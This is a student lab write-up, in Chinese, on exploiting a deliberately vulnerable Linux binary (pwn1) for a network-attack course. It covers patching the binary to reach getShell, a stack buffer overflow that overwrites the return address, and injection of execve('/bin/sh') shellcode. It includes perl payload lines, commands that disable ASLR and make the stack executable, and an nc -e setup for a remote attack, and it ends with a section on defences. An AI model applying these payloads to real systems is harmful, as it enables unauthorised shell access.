• 2020-2021-2 网络对抗技术 20181318 Exp1 PC平台逆向破解


    一、实验说明

    本次实践的对象是一个名为pwn1的linux可执行文件。

    我们在实验之前,首先要将kali虚拟机的主机名修改为自己名字的拼音 hostname xxx ,然后将pwn1修改为pwn学号 cp pwn1 pwn20181318 

    该程序的正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    我们通过反汇编可以看出,该程序同时包含另一个代码片段——getShell,它会返回一个可用的Shell。正常情况下,getShell代码段是不会被运行的。我们要想办法让它运行。

    二、实验目标

    • 运行原本不可访问的代码片段:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 强行修改程序执行流:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入shellcode并运行这段代码。

    三、预习内容

    3.1 NOP, JNE, JE, JMP, CMP汇编指令的机器码

    汇编指令 机器码 功能
    NOP 0x90 空指令,CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。
    JNE 0x75 条件转移指令,如果不相等则跳转。
    JE 0x74 条件转移指令,如果相等则跳转。
    JMP   无条件转移指令。段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA
    CMP 0x38-0x3D 比较指令,功能相当于减法指令,只是对操作数之间进行运算比较,不保存结果。

                   其他汇编指令所对应的机器码可查看对应表

    3.2 反汇编与十六进制编辑器

    3.2.1 反汇编指令 objdump

    objdump -d <file(s)>: 将代码段反汇编;
    objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
    objdump -C <file(s)>: 将C++符号名逆向解析
    objdump -l <file(s)>: 反汇编代码中插入文件名和行号
    objdump -j section <file(s)>: 仅反汇编指定的section

     objdump -d xxx | more :分页显示反汇编的内容

    其他用法可查看linux帮助手册,用 man objdump 查看

    3.2.2 十六进制编辑器

    vim <filename>: 以ASCII码形式显示可执行文件的内容
    :%!xxd: 将显示模式切换为16进制模式
    :%!xxd: 将16进制切换回ASCII码模式

    也可以使用图形化的编辑工具wxHexEditor

    3.3 管道符(|)

    利用管道符“|”将两个命令隔开,可以将管道符左边命令的标准输出管道为右边命令的标准输入。

    连续使用管道符意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

    3.4 输入输出重定向

    3.4.1  Linux的标准输入与输出

    文件描述符 类型 设备 文件
    0 标准输入 键盘 stdin
    1 标准输出 显示器 stdout
    2 标准错误输出 显示器 stderr

    3.4.2 输入重定向

    将文件作为标准输入设备,即读取文件作为命令的输入

       command < file 将输入重定向到 file。

    3.4.3 输出重定向

    将文件作为标准输出设备,即将命令的正确输出重定向至文件中

       command > file 将输出重定向到 file。

    注意:file中已经存在的内容将被新输出的内容替代。

       command >> file 将输出以追加的方式重定向到 file。

    注意:>>不会覆盖原有内容,而是在文件末尾添加新内容。

    3.5 ELF文件格式

    ELF是一种文件存储格式。Linux下的目标文件和可执行文件都按照该格式进行存储。

    ELF文件格式提供了两种视图,分别是链接视图和执行视图。链接视图是以节(section)为单位,是在链接时用到的视图。执行视图是以段(segment)为单位,是在执行时用到的视图。

    它由4部分组成,分别是ELF头、程序头表、节/段 和节头表。实际上,一个文件中不一定包含全部内容,而且它们的位置也未必如图所示这样安排,只有ELF头的位置是固定的,其余各部分的位置、大小等信息由ELF头中的各项值来决定。

    ELF头(ELF header):描述整个文件的组织。
    程序头表(Program header table):描述文件中的各种segments,用来告诉系统如何创建进程映像的。
    节(Section)或段(segment):在链接阶段,我们可以忽略program header table来处理此文件,在运行阶段可以忽略section header table来处理此程序。segments与sections是包含的关系,一个segment包含若干个section。
    节头表(Section header table):包含了文件各个section的属性信息
     readelf-h xxx.o :查看头信息
     readelf-S xxx.o :显示节头表信息
     readelf-l xxx.o :显示程序头表信息
     readelf-a xxx.o :显示全部信息

    其他具体内容可参考ELF文件格式解析

     3.6 大端与小端

    大端:高位字节存放在内存的低地址端,低位字节存放在内存的高地址端

    小端:高位字节存放在内存的高地址端,低位字节存放在内存的低地址端

    例:0x12345678

         
    大端 0x12 0x34 0x56 0x78
    小端 0x78 0x56 0x34 0x12

    本次实验的pwn文件,是小端存储。

    3.7 EIP寄存器

    EIP寄存器,用来存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后,EIP寄存器的值就会增加。

    3.8 什么是漏洞?漏洞有什么危害?

    漏洞,是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,它可以使攻击者在未授权的情况下访问或破坏系统。

    危害:(1)软件的正常功能被破坏;

               (2)系统被非法控制和破坏,攻击者恶意传播病毒、蠕虫,破坏系统数据,实施DDos攻击;

          (3)信息泄露,攻击者一旦窃取管理员的身份信息,将会对系统造成巨大的危害,如更改系统权限,发送大量垃圾信息给用户。

    四、实验过程

    4.1直接修改程序机器指令,改变程序执行流程

    4.1.1 对pwn文件进行反汇编 

    objdump -d pwn20181318 |more ,找到main函数、foo函数、getshell函数

    从图中可以找到,main函数有一条call指令,我们知道call指令相当于执行:①push %eip  ②jump xxx,

    此时eip寄存器的值是 0x80484ba 

    分析 e8 d7 ff ff ff ,e8是call指令对应的机器码,它的功能是调用foo函数,

    所以它会跳转至foo函数的入口 0x8048491 ,而后面的 d7 ff ff ff 又是怎么来的呢?

    由预备知识可以知道,此文件是小端存储,计算机内的数据是以补码形式存储的,

     0x848491-0x80484ba=0xffffffd7 ,即目标地址-eip

    所以,我们要想跳转至getshell函数,只需要计算目标地址与eip的差值即可。 0x804847d-0x80484ba=0xffffffc3 

    将机器码修改为 e8 c3 ff ff ff 即可跳转至getshell。

    4.1.2 修改机器码步骤如下:

    ①vi打开pwn20181318文件,此时是以ASCII码的形式显示

    ②按esc,输入:%!xxd,将显示模式切换为16进制。

    第一列是地址的相对偏移,第二列是对应的16进制,第三列是对应的ASCII码

    ③输入/e8d7,定位到我们要修改的内容

    ④将d7修改为c3,修改方法:找到d,按住r(replace),换为c

    ⑤再将限时模式从16进制转换为原模式

    ⑥存盘退出 :wq

    4.1.3 再次反汇编pwn20181318文件,查看是否修改成功

    4.1.4 运行

    输入 ./pwn20181318 ,执行getShell,得到shell提示符

    再次运行备份文件 ./pwn20181318.bak ,可正常执行foo函数,回显用户输入的字符串

    4.2 通过构造输入参数,造成BOF攻击,改变程序执行流

    首先用备份文件恢复源文件

    cp pwn20181318.bak pwn20181318

    4.2.1 反汇编,了解程序的基本功能

    该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

    从图中我们可以看到,系统只分配了0x1c(28字节)的缓冲区

    我们的目标是触发getshell函数,即利用foo函数的bof漏洞,覆盖返回地址为getshell函数的入口地址 0x804847d 

    main函数中的call指令执行时,将 eip=0x80484ba 压栈

    4.2.2 确认输入字符串哪几个字符会覆盖到返回地址

    在执行foo函数时,首先会将ebp压栈,ebp寄存器是32位的(即4字节)

    我们猜测应该是字符串的第33-36位覆盖返回地址,因为 28+4(ebp)=32 

    接下来,利用gdb调试,对猜想进行验证

    ① gdb pwn20181318 进入gdb

    ②输入r,运行程序。此时我输入字符串:1111111122222222333333334444444412345678

    ③输入 info r ,查看寄存器的值

    由图可得,eip寄存器的返回地址被覆盖为0x34333231,即我们输入的1234(33-36位)

    cpu会跳转至这个位置继续执行代码,但是这个位置没有东西可以执行,所以产生Segmentation fault——段错误。

    我们只需要将这四个字符改为getshell的地址,即可使程序跳转执行getshell.

    4.2.3 确认用什么值来覆盖返回地址

    getshell的地址为 0x804847d ,由于是小端存储,我们需要输入的字符串应该是

     11111111222222223333333344444444x7dx84x04x08 

    4.2.4 构造输入字符串

    因为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以我们需要先生成一个包括这样字符串的文件。

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    将perl生成的字符串重定向至input文件中。

    如果不使用输出重定向,生成的字符串会直接显示在屏幕上。

    注意:之所以要用0x0a(回车)结束,是因为如果没有的话,相当于只是输入字符串,但是终端并不知道已经接收完毕,也就不会继续向下执行,除非手动按回车。

     xxd input :用16进制查看input文件的内容是否如预期。

    4.2.5 运行

    将input的内容显示出来,通过管道符“|”,作为pwn20181318的输入

    (cat input; cat) | ./pwn20181318

     4.3 注入Shellcode并执行

    核心:找到shellcode的地址

    4.3.1 使用准备好的shellcode

    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

    4.3.2 准备工作

    因为要对堆栈进行相关设置,所以首先要下载安装perlink

    execstack -s pwn20181318    //设置堆栈可执行
    execstack -q pwn20181318    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示2则表示目前是开启状态
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,需要使用sudo权限
    more /proc/sys/kernel/randomize_va_space //再次查询地址随机化是否开启,显示0则表示目前是关闭状态

    4.3.3 构造要注入的payload

    Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。

    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

    通常情况下,缓冲区小就把shellcode放后边(高地址),缓冲区大就把shellcode放前边(低地址)。

    Nop:空指令,CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。它的作用是:填充和滑行。

    只要我们猜测的返回地址落在任何一个nop上,它自然会滑到我们的shellcode去执行。

    我们的缓冲区的大小是28个字节,这个缓冲区够放本实验的shellcode了,所以我们选用 nops+shellcode+retaddr 结构。

    (1)利用perl构造字符串

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    由4.2可知,我们需要覆盖的返回地址是33-36位,即x4x3x2x1,我们需要将其修改为shellcode的地址。

    注意:不能以x0a结束,因为后面我们要利用gdb调试来确定shellcode的地址,所以需要将程序停下来设置断点,如果以回车结束,程序就会自动执行完毕,后续的操作也就无法进行。

    (2)接下来,我们就来确定shellcode的地址。

    打开一个终端1,输入 (cat input_shellcode;cat) | ./pwn20181318 进行攻击

    从图中我们可以看到,进程并没有回显出input_shellcode的内容,可以证明程序停了下来。

    再开另外一个终端2,用gdb来调试pwn20181318这个进程。

    ① ps -ef | grep pwn20181318 :找到进程号

    启动gdb调试这个进程。 attach 进程号 

    ③反汇编foo函数 disassemble foo ,找合适的位置设置断点

    在红色方框圈住的位置设置断点,因为此时注入的code已经在堆栈上了,ret指令一执行,就会跳转至覆盖retaddr的那个位置。

     break *0x080484ae 设置断点。

    ④在终端1中按下回车,在终端2中输入c,继续运行程序。

    ⑤ info r esp 查看esp寄存器的值

     x/16x 0xffffd11c 以16进制显示从0xffffd11c开始的16个数据

    由图可知,0x909031c0的地址为0xffffd100,这就是我们shellcode的地址。

    由图可知,程序的返回地址占位也是正确的,退出gdb即可。

    (3)我们就将返回地址覆盖为0xffffd100

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd1xffxffx00"' > input_shellcode

     (cat input_shellcode;cat) | ./pwn20181318 ,重新运行程序,发现失败。

    (4)启动gdb进行调试,查找错误(过程与上面类似)

    我们发现,esp和eip的值都是正确的。

    缓冲区看起来也是正确的

    我们接下来进行单步调试,si是step instruction的简写,表示单步运行

    我们发现,在执行第十个si的时候发生了段错误,也就代表在执行完第9个si的时候导致错误的出现

    我分析,错误的原因应该是在执行的时候函数栈增长覆盖了原有的指令。

    (5)所以,我们调整结构为 anything+retaddr+nops+shellcode 

    由图可知,shellcode紧挨着0x04030201,所以shellcode的地址是 0xffffd11c+4=0xffffd120 

    perl -e 'print "A" x 32;print "x20xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

     xxd input_shellcode 以16进制查看input_shellcode的内容

    运行程序,成功执行shellcode。

    4.4 结合nc模拟远程攻击

     4.4.1 在同一台主机上进行

    主机1,模拟一个有漏洞的网络服务:

    nc -l 127.0.0.1 -p 28234  -e ./pwn1
    
    -l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

    主机2,连接主机1并发送攻击载荷:

    (cat input; cat) | nc 127.0.0.1 28234

    4.4.2 模拟两台主机的远程控制

     ifconfig 查询主机1的ip地址为192.168.174.129

    主机1:nc -l -p 28234  -e ./pwn1
    参考课题负责人的博客,隐去ip地址,能够避免主机存在多个IP地址,发送存在限制的问题。
    主机2:(cat input_shellcode; cat) | nc 192.168.174.129 28234

    4.4.3 存在的问题

    一般是高版本gcc编译后低版本运行会出现此错误,或者是代码内出现逻辑错误。

    解决:将input_shellcode替换为input即可正常运行。

    两台主机可以相互ping通,但是显示无法连接。

    解决:隐去ip地址,直接输入nc -l -p 28234 -e ./pwn1

    五、缓冲区溢出攻击防护技术

    1. 防止注入的角度——GCC 中的编译器堆栈保护技术(Canaries检测)

    在编译时,编译器每次函数调用前都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

    常见的canary word:随机数、特殊字符串(Null、CR、LF)、随机数与控制信息、返回地址异或得到的

    • -fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。
    • -fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
    • -fno-stack-protector:禁用堆栈保护。

    2. 注入入了也不让运行

    结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

    • excstack -c pwn1     把堆栈设置为不可执行
    • execstack -q pwn1   查询堆栈状态

    3. 增加shellcode的构造难度

    当我们要注入shellcode进行攻击时,我们要猜测shellcode的地址,我们此次的实验为了降低难度,关闭了地址随机化,这样应用的代码段、堆栈段每次都被OS放置到固定的内存地址。

    ALSR(地址随机化):就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

    /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
    0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址,stack和vdso页面随机化。 2 - 表示在1的基础上增加栈(heap)的随机化。

    4.管理角度

    加强编码质量。注意边界检测。使用最新的安全的库函数。

    六、实验感想

    之前很多课也都了解过缓冲区溢出的相关内容,但是并没有真正的把原理搞懂,尤其是栈的增长方向和缓冲区的增长方向,不明白为什么会把返回地址覆盖了。通过这次实验,让我对函数调用与堆栈有了更加清楚的认识。栈的增长是从高地址——>低地址,而缓冲区的填充是从低地址——>高地址。函数调用时,会为其建立相应的栈帧(栈顶指针esp与栈底指针ebp之间的内存区);调用结束时,释放内存空间。

    同时,我也学明白了一些汇编指令与其对应的机器码,对寄存器也有了更加明确的认识,知道了esp、eip这些都是32位的寄存器,rsp、rip是64位的。call指令相当于执行了①push %eip ②jump xxx两条指令,与其对应的leave指令相当于执行了①mov %ebp %esp  ②pop %ebp。本次实验用到次数最多的就是objdump反汇编指令,我们还可以在gdb中用disassemble xxx 进行反汇编。

    这三个小实验中,最难的就是第三个,视频看了一遍又一遍,就是有些东西不是很理解,比如说刚开始就是不理解为什么nsr这种结构不成功,为什么找shellcode的地址要借用esp寄存器。经过与同学们的交流,这些问题也都还是解决了。最后又把实验从头到尾做了一遍,感觉还是挺不错的。之后的几次实验我会更加努力,看视频有不懂的问题就及时在蓝墨云中提问,真正把实验的重难点给搞明白!

  • 相关阅读:
    Cocos2d-x 学习笔记(11.1) MoveBy MoveTo
    Cocos2d-x 学习笔记(10) ActionInstant
    Cocos2d-x 学习笔记(9) Action 运行原理
    Cocos2d-x 学习笔记(8) ActionManager
    Cocos2d-x 学习笔记(7) 内存管理 Sprite SpriteFrame Texture2D
    Cocos2d-x 学习笔记(6) Sprite SpriteFrameCache Texture2D TextureCache
    常见串口术语区分
    串口调试
    Linux
    缓冲区
  • 原文地址:https://www.cnblogs.com/jjy-666/p/14533111.html
Copyright © 2020-2023  润新知